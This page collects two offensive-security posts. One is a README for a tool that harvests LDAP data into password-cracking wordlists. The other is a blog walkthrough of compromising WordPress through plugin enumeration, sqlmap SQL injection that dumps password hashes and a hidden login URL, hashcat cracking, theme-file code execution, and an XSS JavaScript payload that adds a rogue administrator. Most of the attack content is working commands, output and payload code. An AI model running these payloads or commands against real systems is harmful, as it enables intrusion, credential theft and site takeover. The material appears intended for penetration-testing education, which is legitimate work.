Normal view

There are new articles available, click to refresh the page.
Today — 29 May 2024Main stream

LDAPWordlistHarvester - A Tool To Generate A Wordlist From The Information Present In LDAP, In Order To Crack Passwords Of Domain Accounts


A tool to generate a wordlist from the information present in LDAP, in order to crack non-random passwords of domain accounts.

 

Features

The bigger the domain is, the better the wordlist will be.

  • [x] Creates a wordlist based on the following information found in the LDAP:
  • [x] User: name and sAMAccountName
  • [x] Computer: name and sAMAccountName
  • [x] Groups: name
  • [x] Organizational Units: name
  • [x] Active Directory Sites: name and descriptions
  • [x] All LDAP objects: descriptions
  • [x] Choose wordlist output file name with option --outputfile

Demonstration

To generate a wordlist from the LDAP of the domain domain.local you can use this command:

./LDAPWordlistHarvester.py -d 'domain.local' -u 'Administrator' -p 'P@ssw0rd123!' --dc-ip 192.168.1.101

You will get the following output if using the Python version:

You will get the following output if using the Powershell version:


Cracking passwords

Once you have this wordlist, you should crack your NTDS using hashcat, --loopback and the rule clem9669_large.rule.

./hashcat --hash-type 1000 --potfile-path ./client.potfile ./client.ntds ./wordlist.txt --rules ./clem9669_large.rule --loopback

Usage

$ ./LDAPWordlistHarvester.py -h
LDAPWordlistHarvester.py v1.1 - by @podalirius_

usage: LDAPWordlistHarvester.py [-h] [-v] [-o OUTPUTFILE] --dc-ip ip address [-d DOMAIN] [-u USER] [--ldaps] [--no-pass | -p PASSWORD | -H [LMHASH:]NTHASH | --aes-key hex key] [-k]

options:
-h, --help show this help message and exit
-v, --verbose Verbose mode. (default: False)
-o OUTPUTFILE, --outputfile OUTPUTFILE
Path to output file of wordlist.

Authentication & connection:
--dc-ip ip address IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted it will use the domain part (FQDN) specified in the identity parameter
-d DOMAIN, --domain DOMAIN
(FQDN) domain to authenticate to
-u USER, --user USER user to authenticate with
--ldaps Use LDAPS instead of LDAP

Credentials:
--no- pass Don't ask for password (useful for -k)
-p PASSWORD, --password PASSWORD
Password to authenticate with
-H [LMHASH:]NTHASH, --hashes [LMHASH:]NTHASH
NT/LM hashes, format is LMhash:NThash
--aes-key hex key AES key to use for Kerberos Authentication (128 or 256 bits)
-k, --kerberos Use Kerberos authentication. Grabs credentials from .ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line


WordPress : From vulnerability identification to compromising

WordPress : From vulnerability identification to compromising

WordPress Core is the most popular web Content Management System (CMS). This free and open-source CMS written in PHP allows developers to develop web applications quickly by allowing customization through plugins and themes. WordPress can work in both a single-site or a multisite installation.

Although, as demonstrated by the recent CVE-2024–4439 vulnerability, WordPress is not flawless, it remains an extremely robust solution, and from an attacker’s point of view, it’s much easier to find another entry point to compromise a WordPress instance.

Luckily (or not) this other vector exists and it’s WordPress plugins. With nearly 60,000 free extensions available, any one of them can represent a possible gateway to a complete compromise of your instance.

We will illustrate this in this article through different steps/scenarios on a real WordPress instance.

1/ Identify available WordPress plugins

When a WordPress plugin is created, developers can rely on a number of standards. Among these standards is the “Readme.txt” file, which many plugins respect.

This file can be used by an attacker to identify whether or not a plugin is available. In the knowledge that this file is most of the time available at the URL “http://WORDPRESS/wp-content/plugins/[PLUGIN SLUG]/readme.txt” using a wordlist of plugin names, an attacker can perform bruteforce to identify available plugins.

We can see here that we have two plugins installed

If you take a closer look at the second one, you’ll see that it’s installed in version 2.9.7

Note : Sometimes the stable tag is empty but you can still look at the changelog section

A quick search reveals that this plugin is vulnerable to an unauthenticated SQL injection !

Now that we’ve identified the available plugins and that one of them is vulnerable, we’ll now look at how to compromise the WordPress instance.

2/ From SQL Injection to complete compromission

First, you need to understand the vulnerability in order to understand how to exploit it. Either by

  • Downloading a vulnerable version, looking at the code and trying to reproduce the vulnerability
  • Or a public exploit is already available

In our case, the vulnerability is detailed in this article and the command to exploit it via the SQLmap tool is provided.

With SQL Injection, among the available techniques, the most common consists of extracting the users and their password hash.

sqlmap -u "http://192.168.1.27/?rest_route=/pmpro/v1/order&code=a" -p code --dbms=MySQL -dump -T wp_users -C user_login,user_pass
[...]
[14:59:53] [INFO] GET parameter 'code' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
[...]
GET parameter 'code' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 62 HTTP(s) requests:
---
Parameter: code (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: rest_route=/pmpro/v1/order&code=a' AND (SELECT 1804 FROM (SELECT(SLEEP(5)))jJJd) AND 'MnNj'='MnNj
[...]
Database: wasvwa
Table: wp_users
[2 entries]
+------------+------------------------------------+
| user_login | user_pass |
+------------+------------------------------------+
| subscriber | $P$BQG8CvNGjGGbMmr5KxN8p3BnwdgMbf0 |
| admin | $P$BUwEadKq2ID1rSD6/G4/tTf85WONEf1 |
+------------+------------------------------------+

Note : Users are usually stored in the ‘wp_users’ table, with ‘wp_’ being the basic prefix. If this is not the case, you can search for the table name/prefix by listing the columns with the following SQLmap command :

sqlmap -u "http://192.168.1.27/?rest_route=/pmpro/v1/order&code=a" -p code --dbms=MySQL —-columns
[...]
[15:50:38] [INFO] retrieved: wp_pmpro_membership_ordermeta

Now that we have recovered the users and the hashes we need to find the password in clear text. We will not go into the details of this step here and simply use hashcat with a wordlist to recover the password in plain text.

The only important option to understand here is `-m 400` which translates as “hash mode 400”. The number 400 corresponds to the password hashing technique used by WordPress. In the background, WordPress uses the ‘wp_hash_password()’ function which uses the PHPass library and, in short, returns an MD5 hashed password with additional security mechanisms.

hashcat -m 400 -a 0 -o cracked.txt hash.txt wordlist.txt
[...]
cat cracked.txt
> $P$BUwEadKq2ID1rSD6/G4/tTf85WONEf1:password

To summarize, we identified the available plugins, one of them is in a version vulnerable to an unauthenticated SQL injection which we exploited to retrieve the list of available users with their hashes which we bruteforce to recover the clear password of the administrator !

The next step is therefore to authenticate, to do this, by default, the URL of the WordPress admin panel is available at the URL /wp-admin/

Except that in our case, we are redirected to a 404! If we return to the list of installed plugins, we remember that “WPS Hide Login” is installed.

WPS Hide Login is a very light plugin that lets you easily and safely change the url of the login form page to anything you want.

Once again, we will be able to use our SQL injection to find the real login URL. For this plugin, what we are looking for is stored in column ‘option_value’ of the table ‘wp_options’

sqlmap -u "http://192.168.1.27/?rest_route=/pmpro/v1/order&code=a" -p code --dbms=MySQL -dump -T wp_options -C option_value --where "option_name='whl_page'"
[...]
Table: wp_options
[1 entry]
+--------------+
| option_value |
+--------------+
| hidden_login |
+--------------+

We can now access the login page and authenticate.

Once authenticated, to obtain an RCE, among the available techniques the two simplest are as follows :

  • Upload a new malicious plugin to execute code
  • Edit an existing file to insert malicious code

The second is the simplest because everything is already there by default, you just have to go to “Tools > Theme File Editor > Themes Functions” and insert a piece of PHP code allowing you to execute code.

Once saved, we can therefore execute arbitrary code on our WordPress instance

3/ From Cross-Site Scripting to complete compromission

Less direct than an SQLi, an XSS can also compromise a WordPress instance, and for this example we’ll take the WP RSS Aggregator version 4.23.8.

This plugin is vulnerable to a reflected XSS and therefore requires that the URL containing the payload be transmitted directly to the administrator.

The original request can be obtained by going to the plugin page and clicking on the “Dismiss this notification” button :

On the code side, in version below 4.23.9 of WP RSS Aggregator, this vulnerability is present due to the use of the `sprintf()` function, which is used to display the response to the user.

The notice_id value is inserted into the message without filtering allowing to insert arbitrary HTML code :

There are several XSS techniques that can be used to take control of an instance, the two most common being :

  • Add a new administrator
  • Modify page code directly to insert a webshell

The code below, for example, is used to create a new administrator :

requestURL = "/wp-admin/user-new.php";
nonceRegex = /ser" value="([^"]*?)"/g;

xhr = new XMLHttpRequest();
xhr.open("GET", requestURL, false);
xhr.send();

nonceMatch = nonceRegex.exec(xhr.responseText);
nonce = nonceMatch[1];
params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=attacker&[email protected]&pass1=password&pass2=password&role=administrator";

xhr = new XMLHttpRequest();
xhr.open("POST", requestURL, true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send(params);

Simply save the code to a file on a publicly accessible server, send the URL containing our payload (loading our remote script) and you’re done.

A new administrator is added :

As a side note, the plugin author has corrected the vulnerability by escaping the HTML code of Exceptions messages :

Which corrects the vulnerability :

This article shows how to identify available plugins, compromise an instance via SQL Injection while bypassing a defense mechanism that hides the login URL, and also how to create a new administrator via Cross-Site Scripting.

Obviously, this article is only an introduction and does not describe all possible cases or less likely/common scenarios, such as the possibility of creating an administrator via SQL Injection.

However, we understand that although WordPress is reputed to be robust, plugins are not necessarily so and can therefore allow your instance to be compromised. It is therefore essential to review the plugins you install, check that they are up to date and if possible enable automatic updates.


WordPress : From vulnerability identification to compromising was originally published in Tenable TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

❌
❌